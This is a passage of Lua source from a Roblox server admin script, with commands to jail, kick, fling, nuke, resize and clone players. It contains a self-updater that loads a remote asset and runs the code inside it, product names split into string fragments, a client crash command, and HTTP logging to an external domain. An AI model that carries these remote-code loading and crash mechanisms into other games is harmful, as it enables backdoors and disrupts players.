907 return NewTable
908end
909
910function CORE:Log(LogTable, Player, Chat)
911 local PlayerName = tostring(Player)
912 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
913 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
914end
915
916function CORE:Jail(Player)
917 if not Player then return nil end
918 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
919 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
920 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
921 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
922 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
923 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
924 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
925 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
926 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
927 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
928 Cell:MoveTo(Vector3.new(0,3,0))
929
930 if Player.Character and Player.Character:FindFirstChild("Torso") then
931 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
932 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
933 end
934 table.insert(Dispose, Cell)
935 Jails[Player.Name] = Cell
936end
937
938function CORE:UnJail(Player)
939 if not Player then return nil end
940 if Jails[Player.Name] then
941 Jails[Player.Name]:Destroy()
942 Jails[Player.Name] = nil
943 end
944end
945
946function CORE:ChangeName(Player, NewName)
947 if not Player or not NewName then return nil end
948 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
949 local NewName = STRING:FormatReplace(Player, NewName)
950
951 for _,Obj in pairs(Player.Character:GetChildren()) do
952 if Obj.Name == "Label" then Obj:Destroy() end
953 end
954
955 local Head = Player.Character.Head
956 local HeadClone = Head:Clone()
957
958 -- make actual head invisible
959 Head.Transparency = 1
960 ypcall(function() Head.face.Transparency = 1 end)
961
962 -- make fake head visible
963 HeadClone.Transparency = 0
964 ypcall(function() HeadClone.face.Transparency = 0 end)
965
966 local Label = Instance.new("Model", Player.Character)
967 Label.Name = "Label"
968
969 local Model = Instance.new("Model", Label)
970 Model.Name = NewName
971
972 local HumanoidClone = Instance.new("Humanoid", Model)
973 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
974
975 HeadClone.Position = Vector3.new(0,100,0)
976 HeadClone.CanCollide = false
977 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
978
979
980 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
981 HeadClone.Parent = Model
982 local Weld = Instance.new("Weld", HeadClone)
983 Weld.Part0 = HeadClone
984 Weld.Part1 = Head
985 end)
986 end
987end
988
989function CORE:UpdateAdmin()
990 local UpdateModel = AdminID
991 if UpdateModel == 0 then return end
992 local NewAdminModel = nil
993 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
994 if NewAdminModel then
995 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
996 if NewAdmin then
997 local NewVersion = NewAdmin:FindFirstChild("Version")
998 if NewVersion.Value ~= CORE.Version.Value then
999 if ExploitModule then
1000 ExploitModule.Disabled = true
1001 ExploitModule:Destroy()
1002 end
1003 NewAdmin.Disabled = true
1004 NewAdmin.Parent = Workspace
1005 if not Settings then
1006 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1007 if NewSettings then NewSettings.Parent = Workspace end
1008 end
1009 wait() NewAdmin.Disabled = false
1010 CORE:RemoveAdmin()
1011 else
1012 NewAdminModel:Destroy()
1013 end
1014 end
1015 end
1016end
1017
1018function CORE:UnpackPlayers(Players)
1019 local PlayerNames = ""
1020 for Num,Player in pairs(Players) do
1021 if Player ~= nil then
1022 if Num ~= #Players then
1023 PlayerNames = PlayerNames..Player.Name..", "
1024 else
1025 PlayerNames = PlayerNames..Player.Name
1026 end
1027 end
1028 end
1029 return PlayerNames
1030end
1031
1032function CORE:GetValue(Value)
1033 if Value:IsA("StringValue") then
1034 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1035 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1036 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1037 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1038 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1039 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1040 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1041 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1042 if Admin == Value.Value then
1043 table.remove(Settings.Ranks["Admin"],Num)
1044 end
1045 end
1046 end end
1047 end
1048end
1049
1050function CORE:GetPlayer(ID)
1051 local Return = {"Unknown", ID}
1052 if tonumber(ID) then
1053 for _,Data in pairs(CharacterCache) do
1054 if ID == Data[2] then
1055 return Data
1056 end
1057 end
1058 ypcall(function()
1059 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1060 if Name then
1061 local Data = {Name, ID}
1062 table.insert(CharacterCache, Data)
1063 Return = Data
1064 end
1065 end)
1066 else
1067 local Name = tostring(ID)
1068 for _,Data in pairs(CharacterCache) do
1069 if string.lower(Name) == string.lower(Data[1]) then
1070 return Data
1071 end
1072 end
1073 ypcall(function()
1074 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1075 if PlayerID then
1076 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1077 local Data = {Name, PlayerID}
1078 table.insert(CharacterCache, Data)
1079 Return = Data
1080 end
1081 end)
1082 end
1083
1084 return Return
1085end
1086
1087function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1088 if ID and #tostring(ID) >= 1 then
1089 local PlayerName = nil
1090
1091 local Players = STRING:Scan(ID, Speaker)
1092 if #Players >= 1 then -- if player is found in server
1093 ID = Players[1].UserId
1094 elseif tonumber(ID) then
1095 local Data = CORE:GetPlayer(ID)
1096 PlayerName = Data[1]
1097 else
1098 local Data = CORE:GetPlayer(tostring(ID))
1099 PlayerName = Data[1]
1100 ID = Data[2]
1101 end
1102
1103 if tonumber(ID) == 20018 then -- exploding easter bunny
1104 local OldID = ID
1105 ID = 1
1106 if Speaker then
1107 if RANK:GetRank(Speaker) == "Member" then
1108 coroutine.wrap(function()
1109 wait(1)
1110 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1111 end)()
1112 else ID = OldID
1113 end
1114 end
1115 elseif tonumber(ID) == 1311 then -- ffjosh
1116 local OldID = ID
1117 ID = 1
1118 if Speaker then
1119 if RANK:GetRank(Speaker) == "Member" then
1120 coroutine.wrap(function()
1121 wait(1)
1122 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1123 end)()
1124 else ID = OldID
1125 end
1126 end
1127 end
1128
1129 if tonumber(ID) then
1130 local Position = nil
1131 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1132 if ManualPos then
1133 Position = ManualPos
1134 else
1135 Position = Player.Character.Torso.Position
1136 end
1137 end
1138 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1139 wait() Player:LoadCharacter() wait()
1140 if Position then Player.Character:MoveTo(Position) end
1141 if not Perm then
1142 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1143 end
1144 if NameChar and PlayerName then
1145 wait(2)
1146 CORE:ChangeName(Player, PlayerName)
1147 end
1148 end
1149 end
1150end)() end
1151
1152function CORE:GenerateShield(Player)
1153 if not Player then return nil end
1154 if not Player.Character then return nil end
1155 local Torso = Player.Character:FindFirstChild("Torso")
1156 if not Torso then return nil end
1157
1158 local Shield = Player.Character:FindFirstChild("Shield")
1159 if Shield then Shield:Destroy() end
1160
1161 Shield = Instance.new("Part", Player.Character)
1162 Shield.Name = "Shield"
1163 Shield.Locked = true
1164 Shield.CanCollide = false
1165 Shield.Size = Vector3.new(10,10,10)
1166 Shield.Shape = "Ball"
1167 Shield.Color = GUI:GetColor()
1168 Shield.Transparency = 0.5
1169 Shield.TopSurface = "Smooth"
1170 Shield.BottomSurface = "Smooth"
1171 Shield.Anchored = true
1172 Shield.Position = Torso.Position
1173
1174 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1175 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1176
1177 Hum:Play()
1178
1179 Shield.Touched:connect(function(Part)
1180 if Part.Parent ~= Server.Workspace then
1181 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1182 if Humanoid then
1183 local Char = Humanoid.Parent
1184 if Char:IsA("Model") and Humanoid.Health > 0 then
1185 if Char ~= Player.Character then
1186 Char:BreakJoints()
1187 Zap:Play()
1188 end
1189 end
1190 end
1191 end
1192 end)
1193
1194 coroutine.wrap(function() repeat wait()
1195 Shield.CFrame = Torso.CFrame
1196 until Torso.Parent == nil or Shield.Parent == nil end)()
1197end
1198
1199function CORE:FlingPlayer(Player)
1200 if Player and Player.Character then
1201 if Player.Character:FindFirstChild("Torso") then
1202 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1203 Fling.Name = "Fling"
1204 Fling.force = Vector3.new(10000,10000,10000)
1205 end
1206 end
1207end
1208
1209function CORE:Kick(Player, CustomMessage)
1210 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1211 coroutine.wrap(function()
1212 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1213 wait(1)
1214 Player:Kick(CustomMessage)
1215 end)()
1216end
1217
1218function CORE:Crash(Player)
1219 local Parent = Player
1220 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1221 elseif Player.Character then Parent = Player.Character end
1222
1223 CORE:ExecuteResource("Crash", Parent)
1224end
1225
1226function CORE:RestoreCamera(Player)
1227 if Player.Backpack then
1228 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1229 end
1230end
1231
1232function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1233 local function ScanInstance(Object)
1234 if #Object:GetChildren() > 0 then
1235 for _,Obj in pairs(Object:GetChildren()) do
1236 local IsType = false
1237 if ObjTypes and #ObjTypes > 0 then
1238 for _,ObjType in pairs(ObjTypes) do
1239 if Obj:IsA(ObjType) then
1240 IsType = true
1241 break
1242 end
1243 end
1244 else
1245 IsType = true
1246 end
1247 if IsType == true then
1248 ActiveFunc(Obj)
1249 end
1250 ScanInstance(Obj)
1251 end
1252 end
1253 end
1254 ScanInstance(BaseObj)
1255end
1256
1257function CORE:AnchorPlayer(Player)
1258 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1259
1260 Player.Character.Humanoid.WalkSpeed = 0
1261 for _,Object in pairs(Player.Character:GetChildren()) do
1262 if Object:IsA("BasePart") then
1263 Object.Anchored = true
1264 end
1265 end
1266end
1267
1268function CORE:UnanchorPlayer(Player)
1269 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1270
1271 Player.Character.Humanoid.WalkSpeed = 16
1272 for _,Object in pairs(Player.Character:GetChildren()) do
1273 if Object:IsA("BasePart") then
1274 Object.Anchored = false
1275 end
1276 end
1277end
1278
1279function CORE:InvisiblePlayer(Player)
1280 if not Player or not Player.Character then return end
1281
1282 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1283end
1284
1285function CORE:VisiblePlayer(Player)
1286 if not Player or not Player.Character then return end
1287
1288 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1289end
1290
1291function CORE:Nuke(Player) coroutine.wrap(function()
1292 local Pos = CFrame.new(0,1,0)
1293 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1294 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1295 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1296 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1297 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1298 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1299
1300 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1301
1302 Server.Lighting.Brightness = 5
1303 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1304 Server.OutdoorAmbient = Color3.new(1,1,1)
1305
1306 local Exp = Instance.new("Explosion", Server.Workspace)
1307 Exp.Position = Pos.p
1308 Exp.BlastPressure = 10000000
1309 Exp.BlastRadius = 1000000
1310 Exp.Hit:connect(function(Part)
1311 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1312 ypcall(function()
1313 Part.Anchored = false
1314 Part.BrickColor = BrickColor.new("Black")
1315 Part.Material = "Slate"
1316 Part:BreakJoints()
1317 end)
1318 end
1319 end)
1320
1321 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1322 BoomSound:Play()
1323 for i = 0,100,0.5 do
1324 Blast.Anchored = true
1325 Wave.Anchored = true
1326 BlastMesh.Scale = Vector3.new(i,i,i)
1327 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1328 Blast.CFrame = Pos
1329 wait()
1330 end
1331 BoomSound:Stop()
1332 Blast:Destroy()
1333 Wave:Destroy()
1334 wait()
1335 BoomSound:Destroy()
1336 Effect:Destroy()
1337 for i = 10,5,-1 do
1338 Server.Lighting.Brightness = (i-5) + 1
1339 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1340 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1341 wait(0.05)
1342 end
1343end)() end
1344
1345function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1346 local AssetID = tonumber(AssetID)
1347 local Item = nil
1348 if AssetID then
1349 local CanInsert = true
1350 if AbuseMode then
1351 for _,ID in pairs(RemoteAbuseGear) do
1352 if AssetID == ID then CanInsert = false break end
1353 end
1354 for _,ID in pairs(Settings.AbusableGear) do
1355 if AssetID == ID then CanInsert = false break end
1356 end
1357 end
1358 if CanInsert then
1359 Item = Server.IS:LoadAsset(AssetID)
1360
1361 if GetFirstChild then
1362 Item = Item:GetChildren()[1]
1363 if FirstChildTypes and Item then
1364 local ValidType = false
1365 for _,Type in pairs(FirstChildTypes) do
1366 if Item:IsA(Type) then
1367 ValidType = true
1368 break
1369 end
1370 end
1371 if ValidType == false then
1372 Item = nil
1373 end
1374 end
1375 end
1376 if Item and Parent then
1377 Item.Parent = Parent
1378 end
1379 end
1380 end
1381 return Item
1382end
1383
1384function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1385 if not Player or not Player.Character then return nil end
1386 PID = tonumber(PID)
1387 for _,Obj in pairs(Player.Character:GetChildren()) do
1388 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1389 end
1390 if PID then
1391 if PackageCache[PID] then
1392 for _,ID in pairs(PackageCache[PID]) do
1393 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1394 end
1395 else
1396 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1397 if IDsJSON then
1398 local IDs = REMOTE:Decode(IDsJSON)
1399 if IDs then
1400 if not IDs["Error"] then
1401 table.insert(PackageCache, IDs)
1402 for _,ID in pairs(IDs) do
1403 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1404 end
1405 end
1406 end
1407 end
1408 end
1409 end
1410end)() end
1411
1412function CORE:ChangeBet(Bet)
1413 if tostring(Bet) and Bet ~= Settings.Bet then
1414 for Index,Data in pairs(Commands) do
1415 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1416 end
1417 Settings.Bet = Bet
1418 end
1419end
1420
1421function CORE:ResetLighting()
1422 ModLighting = false wait(0.2) ModLighting = true
1423end
1424
1425function CORE:Fly(Player, Force)
1426 if Player and Player.Character then
1427 local StopFly = Instance.new("RemoteFunction", Player.Character)
1428 StopFly.Name = "StopMMLFly"
1429 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1430 end
1431end
1432
1433function CORE:GiveTools(Player, Type)
1434 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1435 Type = string.lower(Type)
1436 local _,RankNum = RANK:GetRank(Player)
1437 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1438 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1439
1440 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1441 for Name,Type in pairs(BaseBuildTools) do
1442 local Tool = Instance.new("HopperBin", Player.Backpack)
1443 Tool.Name = Name
1444 Tool.BinType = Type
1445 end
1446 elseif Type == "psbtools" then
1447 for _,Tool in pairs(BuildTools) do
1448 CORE:Insert(Tool, Player.Backpack, true)
1449 end
1450 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1451 if F3X then
1452 local F3X = F3X:Clone()
1453 F3X.Parent = Player.Backpack
1454 end
1455 elseif Type == "btools" then
1456 if F3X then
1457 local F3X = F3X:Clone()
1458 F3X.Parent = Player.Backpack
1459 end
1460 for Name,Type in pairs(BaseBuildTools) do
1461 local Tool = Instance.new("HopperBin", Player.Backpack)
1462 Tool.Name = Name
1463 Tool.BinType = Type
1464 end
1465 for _,Tool in pairs(BuildTools) do
1466 CORE:Insert(Tool, Player.Backpack, true)
1467 end
1468 else
1469 for _,Region in pairs(ToolRegions) do
1470 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1471 if Type == "all" then
1472 local NewItem = Item:Clone()
1473 NewItem.Parent = Player.Backpack
1474 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1475 local NewItem = Item:Clone()
1476 NewItem.Parent = Player.Backpack
1477 end
1478 end)
1479 end
1480 end
1481end
1482
1483function CORE:Scale(Player, ScalePercent)
1484 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1485 local Ratio = ScalePercent/100
1486 if Ratio < 0.05 then Ratio = 0.05 end
1487 if Ratio > 100 then Ratio = 100 end
1488 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1489 local Char = Player.Character
1490
1491 local Clean = Char:FindFirstChild("Clean")
1492 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1493 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1494
1495 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1496 local Welds = {}
1497 local Parts = {}
1498
1499 local function Handle(Obj)
1500 if Obj:IsA("BasePart") and not JustWeld then
1501 table.insert(Parts, Obj)
1502 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1503 if Obj.Name == "MML Mesh" then
1504 Obj:Destroy()
1505 end
1506 if Obj.MeshType == Enum.MeshType.FileMesh then
1507 Obj.Offset = Obj.Offset * ScaleRatio
1508 Obj.Scale = Obj.Scale * ScaleRatio
1509 elseif Ratio < 1 then
1510 Obj.Offset = Obj.Offset * ScaleRatio
1511 Obj.Scale = Obj.Scale * ScaleRatio
1512 end
1513 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1514 if Ratio < 1 then
1515 local BodyPart = ""
1516 local TextureID = Obj.BaseTextureId
1517 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1518 if TextureID == 0 then TextureID = nil end
1519 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1520 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1521 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1522 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1523 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1524 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1525 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1526 NewMesh.Name = "MML Mesh"
1527 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1528 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1529 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1530 Obj:Destroy()
1531 end
1532 elseif Obj:IsA("JointInstance") then
1533 local NewWeld = Obj:Clone()
1534 table.insert(Welds, {NewWeld, Obj.Parent})
1535 elseif NewAdd == true and not JustWeld then
1536 if Obj:IsA("Tool") then
1537 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1538 elseif Obj:IsA("Accoutrement") then
1539 --Cycle(Char.Head, ScaleRatio, false, true)
1540 end
1541 end
1542 if #Obj:GetChildren() > 0 then
1543 for _,NewObj in pairs(Obj:GetChildren()) do
1544 Handle(NewObj, ScaleRatio)
1545 end
1546 end
1547 end
1548 Handle(BaseObj)
1549 for _,Part in pairs(Parts) do
1550 if Ratio >= 1 then
1551 Part.Size = Part.Size * ScaleRatio
1552 else
1553 local Allowed = true
1554 for _,Obj in pairs(Part:GetChildren()) do
1555 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1556 Allowed = false
1557 end
1558 end
1559 if Allowed == true then
1560 local NewMesh = Instance.new("BlockMesh", Part)
1561 NewMesh.Name = "MML Mesh"
1562 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1563 end
1564 end
1565 end
1566 for _,WeldData in pairs(Welds) do
1567 if WeldData[1] then
1568 local Obj = WeldData[1]
1569 local NewWeld = Obj:Clone()
1570
1571 NewWeld.Parent = WeldData[2]
1572 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1573 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1574 end
1575 end
1576 for _,Part in pairs(Parts) do
1577 Part:MakeJoints()
1578 end
1579 Welds = {}
1580 Parts = {}
1581 end
1582 Cycle(Char, Ratio)
1583 Char:MakeJoints()
1584
1585 local Added = Char.ChildAdded:connect(function(Obj)
1586 Cycle(Obj, Ratio, NewAdd)
1587 end)
1588 local Removed = Char.ChildRemoved:connect(function(Obj)
1589 Cycle(Obj, Ratio^-1, NewAdd)
1590 end)
1591
1592 Clean.OnInvoke = function()
1593 Added:disconnect()
1594 Removed:disconnect()
1595 local Location = Vector3.new(0,5,0)
1596 if Char:FindFirstChild("Torso") then
1597 Location = Char.Torso.Position + Vector3.new(0,2,0)
1598 end
1599 Player:LoadCharacter()
1600 wait(0.5)
1601 Player.Character:MoveTo(Location)
1602 wait(0.5)
1603 return nil
1604 end
1605
1606 if Char:FindFirstChild("Torso") then
1607 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1608 end
1609 if Char:FindFirstChild("Humanoid") then
1610 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1611 end
1612 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1613 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1614 end
1615end
1616
1617function CORE:AddExploit(PlayerClient, Data)
1618 local PlayerClientName = PlayerClient.Name
1619 local NewData = CORE:GetTime(true, true).." @ "..Data
1620 for _,Player in pairs(Server.Players:GetChildren()) do
1621 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1622 end
1623 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1624 if type(ExploitLog) ~= "table" then
1625 Server.GDS:SetAsync("ExploitLog", {NewData})
1626 else
1627 table.insert(ExploitLog, NewData)
1628 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1629 end
1630 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1631
1632 return true
1633end
1634
1635function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1636 if not tostring(Name) then Name = "Dummy" end
1637 if not Position then Position = Vector3.new(0,5,0) end
1638 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1639 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1640 end
1641
1642 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1643 Figure:MakeJoints()
1644 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1645 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1646 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1647 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1648 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1649 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1650
1651 Figure.Name = STRING:FormatReplace(Speaker, Name)
1652 Figure:MoveTo(Position)
1653
1654 table.insert(Objects, Figure)
1655
1656 if DisableAnimation == true then
1657 Figure.Animate.Disabled = true
1658 end
1659
1660 return Figure
1661end
1662
1663function CORE:ClonePlayer(Player, Name, Position)
1664 if not Player or not Player.Character then return nil end
1665
1666 Player.Character.Archivable = true
1667 local Char = Player.Character:Clone()
1668 Player.Character.Archivable = false
1669 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1670 if Position then Char:MoveTo(Position) end
1671 Char.Parent = Server.Workspace
1672 Char:MakeJoints()
1673 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1674
1675 table.insert(Objects, Char)
1676
1677 return Obj
1678end
1679
1680function CORE:AddWaypoint(Name, Position, Speaker)
1681 Waypoints[Name] = Position
1682 if Speaker then
1683 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1684 end
1685end
1686
1687function CORE:FindType(BaseObj, Type)
1688 for _,Obj in pairs(BaseObj:GetChildren()) do
1689 if Obj:IsA(Type) then
1690 return Obj
1691 end
1692 end
1693end
1694
1695function CORE:GetCommands()
1696 local CommandsCopy = Commands
1697 return CommandsCopy
1698end
1699
1700function CORE:Crown(Player, Mesh, Color)
1701 if Mesh then Mesh = string.lower(Mesh) end
1702 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1703 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1704 local Part = Instance.new("Part", CrownStorage)
1705 Part.Size = Vector3.new(2, 1, 1)
1706 Part.CanCollide = false
1707 Part.CFrame = Player.Character.Head.CFrame
1708 Part.Locked = true
